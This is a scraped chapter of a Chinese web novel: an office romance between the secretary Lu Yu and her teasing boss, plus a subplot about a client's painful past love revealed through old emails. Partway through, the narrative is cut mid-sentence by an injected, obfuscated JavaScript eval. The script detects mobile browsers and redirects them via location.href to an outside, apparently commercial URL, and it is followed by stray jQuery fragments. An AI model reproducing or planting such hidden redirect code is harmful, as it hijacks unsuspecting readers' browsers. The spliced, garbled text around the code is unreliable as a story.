9. 拿捏

作品:《我没想向你表白

    路妤这一晚上睡得不太安稳,一会想起山无棱那场充满欺骗的单方面爱恋,一会方岭站在办公桌旁的身影又无端端闯入,二者交替出现,到最后竟有重叠之势。


    闹钟响起,路妤想到梦中的情景,觉得实在荒谬,匆匆洗漱后出门,却看到了更荒谬的场景——陆既晞又来了。


    “上车。”


    路妤没推拒,上了车系好安全带才问:“陆哥,好巧,你怎么在这?”


    这话特像路上遇到了认识的出租车司机,凑上去顺便蹭个车。


    陆既晞瞄了眼准备好的早餐,等路妤开始吃了,才说:“不巧,我顺路。”


    更像了。


    路妤咬着鸡蛋饼,觉得陆既晞“顺路”两个字咬得特重,比自己咀嚼食物还使劲,也不怕咬着舌头。


    思维正飘逸着,又听陆既晞问:“今早看起来气色不是很好,昨晚没休息好?”


    路妤含含糊糊应了一声,梦里的内容都关乎别人的隐私,不适合一早和上司聊,于是转变话题,追问陆既晞口中的顺路。


    本以为是他随口胡诌的借口,没想到他说:“我搬家了,现在和你住一个小区。”


    路妤住的小区分三个大区,A区是高层公寓,B区是小高层花园洋房,C区是别墅,路妤住在A区,想来陆既晞是搬到了后边的别墅,不过:“这离公司也不近,你怎么想到搬这来了?”


    陆既晞:“刚好在这有房。”


    得,这天又聊死了。


    路妤没话接,在心里为资本家的富裕敷衍地鼓了个掌,嘬了一口豆浆。


    “你现在住的房子是租的?”陆既晞又问。


    不仅炫耀,还要暴击一个可怜的租客,路妤挤出一个笑,点了点头,心想大哥你可别问了,再问自杀。


    陆既晞显然体会不到路妤的这种心情,挑挑眉:“你可以搬过来和我一起住。”


    果然是资本家,连员工的房租都要赚。


    “不了不了。”路妤果断拒绝。


    陆既晞没再说话,快到公司的时候,路妤照例让他提前一个路口放自己下车,陆既晞的脸更黑了一点。


    下车的时候,路妤没心没肺地对着车上的人喊了句:“谢谢陆哥。”


    下一秒,留给她的就是孤傲的车屁股。


    路妤耸耸肩,步伐轻快地走去上班,陆阎王不高兴了也好,也许明天就会放弃捎自己上班了。


    但路妤显然低估了陆既晞的恶劣程度,谁能想到一个能当众维护小员工并要求全公司贯彻职场规范的大老板,私底下竟然是个录下秘书醉话威胁捉弄的人呢?而且一次不行,还要反反复复“鞭尸”。


    最近,陆既晞突发奇想换了午餐的供应商,把筛选评估的工作交给了路妤,还强行要求她留下来试菜测评。


    于是,路妤现在不仅每天一下楼就要见到老板,连午休时间都不被放过,她觉得自己的工作时间严重超时,应该向陆既晞讨要加班工资。


    经过这段时间的相处,路妤大概摸清了陆既晞的脾气,俩人私底下也经常斗斗嘴,路妤自认相处的气氛还不错。而且,靳姝欣确实能中和霉运,这周陆既晞也过得平平安安。


    又是一个周五,路妤鼓起勇气提出了自己的诉求。


    陆既晞听了这个想法,一声冷笑:“你怎么不发给我送你上班的交通费呢?”


    路妤不服气:“明明是我陪你上班,提供了情绪价值。”


    陆既晞:“那明天开始你开车,我多付你一份司机的工资。”


    路妤不说话了,她那个出了驾校就没再碰过车的水平,现在上路上的就该是黄泉路。


    一轮落败,路妤也不气垒,继续就被侵占的午休时间表示抗议:“午休时间陪吃饭提供情绪价值也算加班。”


    陆既晞:“那你结一下我休息室的房费。”


    路妤已经连续三天恬不知耻地享用了陆既晞休息室的大床,他这个总裁反而窝在外面的沙发。真算起来,那间休息室应该对标豪华酒店的套房,钟点房的费用也比路妤这点情绪价值值钱。


    二轮落败,路妤闷闷不乐。


    陆既晞故意逗她:“祁荔早上取了快递,好像是你昨天选的香氛,中午要不要试?”


    路妤:“要。”


    陆既晞:“我单独付给你香氛测评的工资要不要?”


    路妤:“要。”


    陆既晞:“那你喊声哥哥好不好?”


    路妤:“好。不好!你又捉弄我!”


    陆既晞显然没想这么容易放过她:“快,喊声哥哥,付你香氛测评费。”


    “多少?”


    “你昨天选的三款全都测完,写个简单的测评,三万。”


    路妤:“小陆哥哥~”


    有钱不赚王八蛋。


    陆既晞突然转身,背对着路妤:“你先出去,我一会拆了快递叫你。”


    莫名其妙,又耍什么少爷脾气?


    路妤撇撇嘴,在他身后举起拳头虚虚打了一下,慢悠悠地走了。


    等门一关上,陆既晞立刻冲进休息室,冷水哗啦啦狂拍脸,再抬头看镜子,脸上算是冷静了,耳朵依然烧得通红。


    他独自在休息室坐了十分钟,才从这声“小陆哥哥”带来的兴奋里缓过劲来。


    下班前,陆既晞问路妤周末什么安排,路妤说约了朋友,陆既晞闷闷地应了一声说知道了。


    路妤也不算欺骗陆既晞,她确实约了人,但不是朋友,而是客户。山无棱修整了将近一周,终于决定开始第二次线上沟通。


    周六下午两点半,山无棱再次上线。


    山无棱:【我准备好继续说接下来的故事了。接下来这部分,希望你看完还愿意继续。】


    AAAA市表白大王:【您先说。】


    单方面切断和X的联系后,山无棱既没有勇气出现在他面前痛骂对方,也没办法割舍过去一年获得的温暖。一个人在异国他乡,寂寞的深夜反刍过去的聊天记录,就算真相已然被戳穿,她也下意识回避X的冷淡和敷衍。她为自己幻构了一个事事有回应,温柔阳光帅气的前任。


    山无棱没有和任何人提起X,交流结束后回国,按部就班地毕业、就业,一头扎进繁琐枯燥的工作中,没有时间再怀念过去的爱恋。


    直到两年前,她终于从那段过往中走了出来,参加了高中同学会。出发前她做了充分的心理准备,预想了相见时最狼狈的面貌,可没想到,对方根本没出现。而同学们提起他时,皆是惋惜。


    “X啊,他家破产了。”


    “他以前在我们圈子里算是混得好的,聪明、长得又好,平时纯浪,考前突击几天就能拿A,我那几年看他换过的女朋友,数都数不过来,是能想到,唉......”


    “突然就退学了,我们这些高中兄弟找了他好多次,真就一点音信都没有。”


    “他家那厂子安全管理就有问题,接连好几年出事,他爹进去了,钱也赔光了。”


    山无棱不记得那晚自己是怎么回家的,整个人都飘飘忽忽,她应该恨,应该憎恨X父亲的冷血倨傲,应该憎恶X的虚伪,可听说他家道中落的那一刻,她脑子里的第一个想法竟然是:他还好吗?


    那晚回家后,山无棱再一次回忆和X


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169346|196820||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    相识的过往,久违地登录了高中时收作业用的邮箱,那是属于他们最后的共同联系。意外地,那个邮箱里塞满了未读邮件,都来自同一个人。


    山无棱重新认识了一次X。


    第一封邮件的发送时间是X到美国的第一周,只有短短的一句话:我租的新公寓很大,附上一张图片。


    第二封邮件来自一个月后,语气明显放松很多:你果然不会看,挺好的,当个树洞好了。汉堡薯条吃腻了,我学着做了几道菜。这是我做的糖醋小排,我记得你喜欢吃。毕业聚餐那天,你夹了好几块,肯定是喜欢。不知道以后还会不会见,有没有机会做给你吃。


    那之后,似是认定了山无棱不会查看这个邮箱,X的邮件越来越频繁,内容大多都是自己的日常生活,还有越来越直白的思念。


    一年后的某一天,邮件的主题变了:有个女生追我,追了好久,我喝醉了,和她睡了。我是个烂人,明明还在想着你,却和别人睡了。


    邮件中断了一段时间,直到山无棱父亲出事后,X邮件里的情绪变得很矛盾。有时是开心的,因为重新取得联系,狂热得恨不得飞回国;有时是迷茫的,因为他一觉醒来身边又睡了一个不认识的人;但大多时候是悔恨,恨事故让他们再也没有可能,恨自己的父亲冷血无情,恨自己的懦弱不敢反抗,只敢借着父亲的压迫为借口和她联系。


    直到山无棱主动切断联系,邮件里的内容逐渐变得阴暗,不再有平凡的生活小事分享,也不再有直白热切的思恋,只剩下无尽的恨意。他咒骂山无棱凭什么突然断交,最难听的话语里无一不在贬低对方,样貌、家世、学历,好像山无棱在他眼里就是个可有可无的宠物,但他不能接受自己被一个宠物抛弃了。


    他染上了酗酒的恶习,生活愈发荒淫无度,学业毫无意外被荒废,接连挂科、延毕,最后没能拿到毕业证。


    最后一封邮件发自半年前,一改之前的癫狂下作,而是一句简单的:我什么都没有了,你可以抱抱我吗?


    路妤快速浏览山无棱发过来的打码后的邮件截图,如果说上一次听山无棱说起这个故事她的感受是无力,这次看到这些裹着微不足道的情感的表演,她由衷地愤怒。


    山无棱还在输入中,路妤去冰箱给自己倒了杯冰水,冷静过后重新回到电脑前。


    山无棱:【抱歉,我还是没办法做到继续回忆后面发生的事,我可以再约第三次时间吗?我可以提前付前期咨询费。】


    AAAA市表白大王:【没关系,你可以慢慢来,咨询费你直接拍那个1号橱窗就行。】


    系统提示:宝贝已卖出,请及时发货。


    对面倒是个付钱很爽快的客户,路妤思虑再三,没忍住问出了心中的疑惑。


    AAAA市表白大王:【冒昧问一下,你当时看到那些邮件的感受是?】


    “对方正在输入中”的状态持续很久,像是反复删删改改,路妤也没催,做了组拉伸运动慢慢等,最后对方的回复只有一句话。


    山无棱:【想找到他,抱抱他。】


    路妤差点闪到腰。


    AAAA市表白大王:【再冒昧确认一下,这项服务的最终效果是给对方带来负面影响,你确定这是你的诉求吗?】


    这次对面回得很快。


    山无棱:【确定。】


    或许后面发生的事改变了她的想法吧,路妤忍住了怒骂狗男人说想你的时候也没耽误他睡别人,想了想决定加快业务进度。


    AAAA市表白大王:【方便的话可以告知对方的具体信息吗?再你准备好之前我可以提前开始线下核实。】